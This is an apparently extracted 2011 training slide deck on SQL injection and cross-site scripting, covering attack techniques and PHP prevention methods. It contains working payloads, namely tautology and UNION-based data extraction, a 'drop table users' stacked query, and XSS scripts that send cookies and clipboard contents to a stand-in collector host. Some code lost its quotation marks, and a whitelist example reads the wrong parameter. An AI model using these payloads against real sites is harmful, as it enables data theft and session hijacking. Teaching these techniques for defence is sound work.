You are on page 1of 98

Understanding

SQL Injection
(Prevention Mechanism)
Adzmely Mansor
adzmely@gmail.com

Tuesday, May 17, 2011


Purpose

understanding
pen-test existing internal application
good practice / methods sql injection
prevention in programming
Not a license to KILL !!!

Tuesday, May 17, 2011


SQL Injection

How strong Firewall rules - easily walk


through port 80
Inserting SQL meta-characters/commands
into web based input methods:
{GET,POST}
Well known and exploited technique

Tuesday, May 17, 2011


SQL Injection
Malicious Firewall
User
Port
80/443

Web
Server
Openly launch attack
from compromised server

Tuesday, May 17, 2011


A Threat?
Albert Gonzalez
130 millions credit card number
Used SQL - Injection technique
Steal data from internal corporate network
Sentenced 20 years in March 2010
x-Informer to US secret service to catch
hackers

Tuesday, May 17, 2011


A Threat?

Sept 19, 2010 during Swedish General


Election a voter attempted a code injection
as part of a write in vote.

Tuesday, May 17, 2011


SQL Injection? How?
http://victim.org/news.php?id=234

SELECT * FROM News


where news_id = $_GET[id]

SELECT * FROM News


where news_id = 234

Tuesday, May 17, 2011


SQL Injection? How?
http://victim.org/news.php?id=234 and 1=1

SELECT * FROM News


where news_id = $_GET[id]

SELECT * FROM News


where news_id = 234 and 1=1

Tuesday, May 17, 2011


Sample Attacks

comments/inline comments
admin --
select username,password where
username=admin-- and
password=pass;

Tuesday, May 17, 2011


Sample Attacks

comments/inline comments
or 1=1--
select username,password where
username=admin and
password= or 1=1-- ;

Tuesday, May 17, 2011


SQL Injection: 3 types

Inband: extracted using same channel


Out-of-band: extracted using different
channel - email
Inferential: no actual data transfer, behavior
observation

Tuesday, May 17, 2011


Blind SQL Injection
results not visible to attacker
logical statement to attack
time consuming/intensive
heavy load on web server from single
source of IP
automation tools - sqlmap/sqlplus/etc
Tuesday, May 17, 2011
Blind SQL Injection
Conditional Test
and 1=1 / and 1=2
Conditional Errors
select 1/0 from users where
username=user1;
Time Delay
measure execution time
Tuesday, May 17, 2011
Vulnerability Testing

GET/POST methods
unescaped numerical value
single quote unescaped string
double quotes unescaped string
etc

Tuesday, May 17, 2011


Vulnerability Testing
look for
page errors? - 500 Server Error
redirect page?
SQL/ODBC Errors
page differences
and 1=1-- , and 1=2--
Tuesday, May 17, 2011
Test for SQL Injection
unescaped numerical
select * from news
where id = $_GET[id]
add some sql statement / blind?
?id=23 and / ?id=23 and {1=1,1=2}
error?
differences
Tuesday, May 17, 2011
Test for SQL Injection

unescaped numerical
Open Lesson 1a URL
do some test
try to detect sql injection vulnerability
try to exploit

Tuesday, May 17, 2011


Test for SQL Injection
unescaped numerical with addslashes() or
magic quotes?
select * from news
where id = addslashes($_GET[id])
try to do same test in Lesson 1b
URL
injectable?
Tuesday, May 17, 2011
Test for SQL Injection
unescaped single quote -
select * from news
where id = $_GET[id]
using single quote to produce
error / differences
try to inject with some simple
blind technique

Tuesday, May 17, 2011


Test for SQL Injection

unescaped single quote


Open Lesson 2a URL
do some test
try to detect sql injection vulnerability
try to exploit

Tuesday, May 17, 2011


Test for SQL Injection
unescaped double quotes -
select * from news
where id = $_GET[id]
using single quote to produce
error / differences
try to inject with some simple
blind technique

Tuesday, May 17, 2011


Test for SQL Injection

unescaped double quotes


Open Lesson 2b URL
do some test
try to detect sql injection vulnerability
try to exploit

Tuesday, May 17, 2011


Test for SQL Injection

unescaped statement with parentheses


update users set password=md5
($_POST[pass]) where id = ....
injectable
pass = abc); --

Tuesday, May 17, 2011


Test for SQL Injection

POST Method
Open Lesson 3 URL
do some test
try to detect sql injection vulnerability

Tuesday, May 17, 2011


In Band: Stealing Data
getting table list
find how many columns in query
use union select
find database name: mysql database()
function in union select
use mysql information_schema tables
use group_concat in query
Tuesday, May 17, 2011
In Band: Stealing Data
finding how many columns in query
using ORDER by
ORDER by 1--
ORDER by 2--
ORDER by 3--
errors means found the number of
selected columns

Tuesday, May 17, 2011


In Band: Stealing Data

finding how many columns in query


using union + select
use dummy strings to find number of
columns in query

Tuesday, May 17, 2011


In Band: Stealing Data

using group concat


SELECT group_concat(name) from
users;
return query datas in single column

Tuesday, May 17, 2011


In Band: Stealing Data

getting table list from


information_schema.tables
SELECT group_concat(table_name)
FROM information_schema.tables
WHERE table_schema = dbname;

Tuesday, May 17, 2011


In Band: Stealing Data

getting table columns from


information_schema.columns
SELECT group_concat(column_name)
FROM information_schema.columns
WHERE table_name = tname;

Tuesday, May 17, 2011


In Band: Stealing Data

Exercise: Open any previous Lesson URL


retrieve passwords from un-named
tables in the same DB

Tuesday, May 17, 2011


Stacking Queries

; drop table users; --


supported not supported unknown

Tuesday, May 17, 2011


Random Test

Choose your internal website


search for sql injection possibilities
do some penetration test

Tuesday, May 17, 2011


SQL Injection Tools
sqlmap
python base
CLI - command line interface
fully automated penetration test
DB finger prints
DB, Tables enumerations
Tuesday, May 17, 2011
Prevention

Whose Responsibility?
No SQL database, connector, or
framework can prevent SQL injection all
the time
Security is the application developers job

Tuesday, May 17, 2011


Monitoring
Never reveal error messages
You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near ''' at line 1
INSERT INTO user (username, password, admin) VALUES ('Mr. O'Neil', 'password', false);

<?php

if (! $query) {
This is BAD

die (Error: mysql_error() );

} ....

Not only does this confuse/anger the visitor, but reveals sensitive information about your
application

Tuesday, May 17, 2011


Monitoring
Error Handling
Never show errors in production
Log errors so they can be fixed or email
them
Check Regularly
This way, you will see potential bugs/security
holes, and you can fix them promptly.

Tuesday, May 17, 2011


Log Error
function sql_failure_handler($query, $error) {
$msg = htmlspecialchars (Failed Query: {$query}<br>SQL Error: {$error});
error_log ($msg, 3, /home/site/logs/sql_error_log);
if ( defined(debug) ) {
return $msg;
}
return Requested page is temporarily unavailable, please try again later.;
}
mysql_query ( $query ) or die(sql_failure_handler($query, mysql_error()));

Tuesday, May 17, 2011


Prevention

Escaping Input Prevents


SQL Injection.

Tuesday, May 17, 2011


Prevention

Simply adding addslashes() or magic_quotes


enough?
$id = addslashes($_GET[id]) ?

Tuesday, May 17, 2011


Escaping & Filtering
<?php

$id = $_GET[id];
$category = $_GET[category];

$sql = SELECT * from News


WHERE id = {$id}
AND category = {$category};

mysql_query ($sql) or die(sql_failure_handler($query, mysql_error()));

Tuesday, May 17, 2011


Escaping & Filtering

SELECT * type casting - integer


from News
WHERE id = 254
AND category = ict
escape special character
by using backslash

Tuesday, May 17, 2011


Escaping & Filtering
<?php

$id = (int) $_GET[id];


$category = mysql_real_escape_string($_GET[category]);

$sql = SELECT * from News


WHERE id = {$id}
AND category = {$category};

mysql_query ($sql) or die(sql_failure_handler($query, mysql_error()));

Tuesday, May 17, 2011


Escaping Methods
mysql_real_escape_string()
addslashes()
Class Object method such PDO
$pdo->quote()
method not available to all DB types !!!
multiple escaping method?
No. One is enough!
Tuesday, May 17, 2011
Prevention
using addslashes() ? - unescaped numerical
$qry = "SELECT * FROM\
tblTest WHERE \
TestID = " . addslashes($_GET['id']);

What addslashes() do?


problem solved?

Tuesday, May 17, 2011


Prevention
using mysql_real_escape_string() ? - on
unescaped numerical
$sql = "SELECT * FROM
tblTest WHERE
TestID=".mysql_real_escape_string($_GET['id']);

What mysql_real_escape_string() do?


problem solved?

Tuesday, May 17, 2011


Prevention

unescaped numerical - use type casting


(int) $_GET[id]

Tuesday, May 17, 2011


Magic Quotes

Cannot simply rely on Magic Quotes


Turning On Magic Quotes will not solved all
your problems - eg: unescaped numerical
variable

Tuesday, May 17, 2011


Prevention
Quoting all arguments
since single quotes are always escaped,
combining with addslashes or
mysql_real_escape_string this technique
prevents SQL Injection
however for numerical always numeric
casting

Tuesday, May 17, 2011


Like Quadary
SELECT * messages WHERE subject LIKE
{$sub}%
% used as wild card
_ (underscore) represent any character
$sub = mysql_real_escape_string(%_)
still %_ - no changes
Tuesday, May 17, 2011
Like Quadary
large amount of data queried
more memory usage
slow down database
slow down process / server
possibilities of Denial of Service (DOS)
attack

Tuesday, May 17, 2011


Like Quadary
Solution - addcslashes()
customs escaped characters
$sub = addcslashes (

mysql_real_escape_string(%something...),

%_);

Tuesday, May 17, 2011


The Best Solution
Use Placeholder/Paramater - eg: PHP
MySQL/PDO
$stmt = $pdo->prepare("SELECT * FROM fruit WHERE name = ?");
$stmt->execute(array("Apple"));

You dont need to deal with escaping data because its done by the
PDO library.

Code Quality also Increases

No more nasty concatenation

No more hoping every programmer escaped query properly

Tuesday, May 17, 2011


Parameter Placeholder
Query need a dynamic value:
SELECT *
from News
WHERE id = 254
user input

Tuesday, May 17, 2011


Parameter Placeholder
Query parameter takes place of dynamic
value:

SELECT *
from News
WHERE id = ?
parameter
placeholder

Tuesday, May 17, 2011


Parameter Placeholder
How the database parse it
SELECT expr-list *

simple-
query FROM table News
id

WHERE expr equality =

?
parameter
placeholder

Tuesday, May 17, 2011


Parameter Placeholder
How the database execute it
SELECT expr-list *

simple-
query FROM table News
id

WHERE expr equality =

254
parameter
value

Tuesday, May 17, 2011


Parameter Placeholder
Interpolation
SELECT expr-list *
id

simple-
query FROM table News equality =

254
WHERE expr OR

254
SQL Injection

Tuesday, May 17, 2011


Parameter Placeholder
How the database execute it
SELECT expr-list *

simple-
query FROM table News
id

WHERE expr equality =

254
no parameter
OR
can change the tree TRUE

Tuesday, May 17, 2011


Parameter Placeholder

Query Parameter Prevent SQL


Injection.

Tuesday, May 17, 2011


Whitelist Map

http://example.org/news.php?sort=date&dir=up
<?php

$sortorder = $_GET[sort]; unsafe


$direction = $_GET[dir];

$sql = SELECT * FROM News ORDER BY {$sortorder} {$direction};

$query = mysql_query($sql); sql injection

Tuesday, May 17, 2011


Whitelist Map
Fix with a Whitelist Map
<?php

$sortorders = array ( status => status,


date => sysdate);

$directions = array ( up => ASC,


down => DESC);

$sortorder_default = status;
$direction_default = ASC;

Tuesday, May 17, 2011


Whitelist Map
Map User Input to Safe SQL
<?php

if ( isset ( $sortorders [ $_GET[sort] ] ) )


{
$sortorder = $sortorders [ $_GET[order] ];
} else {
$sortorder = $sortorder_default;
}

Tuesday, May 17, 2011


Whitelist Map
Map User Input to Safe SQL
<?php

if ( isset ( $directions [ $_GET[dir] ] ) )


{
$direction = $directions [ $_GET[order] ];
} else {
$direction = $direction_default;
}

Tuesday, May 17, 2011


Whitelist Map

Interpolate Safe SQL


whitelisted values
<?php

$sql = SELECT * FROM News ORDER BY {$sortorder} {$direction};

$query = mysql_query($sql);

Tuesday, May 17, 2011


Prevention

Limited Database User Access


GRANT specific permissions
DROP, CREATE, etc should be revoked
from connected DB user

Tuesday, May 17, 2011


Cross Site Scripting
XSS

Tuesday, May 17, 2011


XSS : Definition
computer security vulnerability in web
application
where information from one context
where it is not trusted is injected to
another context where it is trusted
from this trusted context and attack can
be started

Tuesday, May 17, 2011


XSS : Example
simple web application that directly output
the user supplied URL parameter
<?php
echo Selamat Datang . $_GET[name];

open lesson1.php?name=Abu
Selamat Datang Abu

Tuesday, May 17, 2011


XSS : Example
javascript injection:

lesson1.php?name=</script>alert(/XSS/);</script>

Tuesday, May 17, 2011


XSS Threat
XSS is most common injection vulnerability
Direct output of user input allows injection
of arbitrary content into website
HTML tags
Active content (Javascript / Flash)
Firewall?
via port 80
Tuesday, May 17, 2011
Reflective XSS
Simplest form of XSS
User input is read from the request
parameters and written directly into the
output
Included malicious code is executed within
the browser
Victims browser has to execute the XSS
triggering request itself

Tuesday, May 17, 2011


Persistent XSS
Stored / permanent XSS
User input is read from a request and
stored in RAW
database
file
etc
example: comments in a blog
Tuesday, May 17, 2011
Persistent XSS

victims browser visit a website


stored user input is read from database and
directly written into the output
embedded malicious code get executed
within victim browser

Tuesday, May 17, 2011


DOM based XSS

is similar to reflective XSS


but server side doesnt play a role
fault is within javascript code
victims browser must execute the XSS
request itself

Tuesday, May 17, 2011


DOM based XSS

usually triggered by working with URL


parameters/URL anchors in Javascript
XSS caused by output in HTML context
XSS caused by evaluating - JS eval()
injection

Tuesday, May 17, 2011


XSS Dangers
Displaying annoying pop-ups
Redirect - malware
Modification of text and images
(defacement)
Manipulation of client side application logic
Theft of clipboard, cookies, passwords
XSS traverse firewalls - port 80/443
Tuesday, May 17, 2011
XSS Test
Displaying pop-ups
most commonly used for diagnose and
demonstration of XSS problems
harmless
just uses the javascript alert() function
<script>alert(1);</script>
Tuesday, May 17, 2011
XSS: Redirection

used by spammers and malware industry


harmless if redirect for advertisement
purposes
dangerous if redirected to malware /
exploits

Tuesday, May 17, 2011


XSS: Redirection
Just modifies document.location
<script>
document.location = http://www.malware.org;
</script>

Tuesday, May 17, 2011


XSS: Cookies Theft

allow theft of authentication information or


session identifiers stored in cookie
doesnt work with httpOnly cookies

Tuesday, May 17, 2011


XSS: Cookies Theft
just send document.cookie to the attacker
<script>
tag = <img src=http://war.com/collect.php?data=;
tag = tag + escape(document.cookie) + >;
document.write(tag)
</script>

Tuesday, May 17, 2011


XSS: Clipboard Theft
Allow theft of sensitive data from users
clipboard
Uses clipboardData object in Internet
Explorer
Triggers a security question since IE 7

Tuesday, May 17, 2011


XSS: Clipboard Theft
IE 7
<script>
myClipBoard = clipBoardData.getData(Text);
tag = <img src=http://war.com/collect.php?data=;
tag = tag + escape(myClipBoard) + >;
document.write(tag)
</script>

Tuesday, May 17, 2011


XSS: Theft of Passwords

Mozilla Firefox comes with password safe


Known password are filled into form after
page fully loaded
With XSS attackers passwords cached can
be stolen

Tuesday, May 17, 2011


XSS: Manipulating Logic
Example:
Fill in support ticket with injectable XSS
persistent method
Support engineer open ticket
steal cookies
change submit action - onSubmit
eventhandlet

Tuesday, May 17, 2011


Different HTML contexts

Outside of HTML tags


Within HTML tags
Within URL HTML tag attributes
In stylesheet attributes/tags
In javascript / javascript strings

Tuesday, May 17, 2011


Injection outside HTML tags
Raw user input is inserted between HTML
tags
<body> ...
Hello <?php echo $_GET[name]; ?> !
</body>

Injection of new HTML tags


<body> ...
Hello <script>.....</script> !
</body>

Tuesday, May 17, 2011


Injection outside HTML tags
Filter function strip_tags() remove html
tags
<body> ...
Hello <?php echo strip_tags($_GET[name]); ?> !
</body>

In the output all <script> tags are removed

Tuesday, May 17, 2011


Injection outside HTML tags
The encoding function htmlspecialchars()
encodes special characters into HTML
entities (or htmlentities())
<body> ...
Hello <?php echo htmlspecialchars($_GET[name]); ?> !
</body>

In the output special chars are disarmed


<body> ...
Hello &lt;script&gt; .... &lt;/script&gt; !
</body>

Tuesday, May 17, 2011


Injection within HTML tags
Raw user input is inserted within a HTML
tag attribute
<img src=abc.png title=<? echo $_GET[a]; ?>>
<img src=abc.png title=<? echo $_GET[a]; ?>>
<img src=abc.png title=<? echo $_GET[a]; ?>>

Injection with eg. an event-handler


<img src=abc.png title=x onmouseover=...>
<img src=abc.png title=x onmouseover=...>
<img src=abc.png title=x onmouseover=...>

Tuesday, May 17, 2011


Injection within HTML tags
Encoding functions not protecting at all in
case of non standard HTML
<img src=abc.png title=<? echo htmlentities($_GET[a]); ?>>

Injection always possible because no quotes


are used around attribute values
<img src=abc.png title=x onmouseover=...>

Tuesday, May 17, 2011


Injection within HTML tags
HTML attribute values should be within
double quotes
Use encoding functions as protection and
encode the appropriate quotes
<img src=abc.png title=<? echo htmlentities($_GET[a]); ?>>

Injection is no longer possible because


breaking out the attribute context is not
possible

Tuesday, May 17, 2011


Injection within URL attribute
Raw URLs is inserted into HTML tag URL
atribute
<img src=<?php echo $_GET[a]); ?>>

<a href=<?php echo $_GET[b]); ?>> Click Here </a>

Injection: eg. Javascript URLs


<img src=javascript: alert(123);>

<a href=javascript: alert(123);> Click Here </a>

Tuesday, May 17, 2011


Injection within URL attribute
To secure the output, encoding function
must be used but they are not sufficient
XSS problem is not the possibility to break
out attribute value, but the URL type -
javascript
input filter should use a whitelist of
allowed URL types

Tuesday, May 17, 2011


Injection in Stylesheet
Raw user input is inserted into information
<style>
a { color: <? echo $_GET[color]; ?>; }
</style>

Injected are IE expression, Javascript URLs


or Mozillas moz-binding
<style>
a { color: expression(alert(1)); }
</style>

Tuesday, May 17, 2011


Injection in Javascript
Raw user input is inserted into javascript
<script>
var str = name: <? echo $_GET[name]; ?>;
document.write(str);
</script>

Injection is normal Javascript


<script>
var str = name: ; alert(123);//;
document.write(str);
</script>

Tuesday, May 17, 2011


Thank You
http://blog.xjutsu.com
adzmely@gmail.com

Tuesday, May 17, 2011

You might also like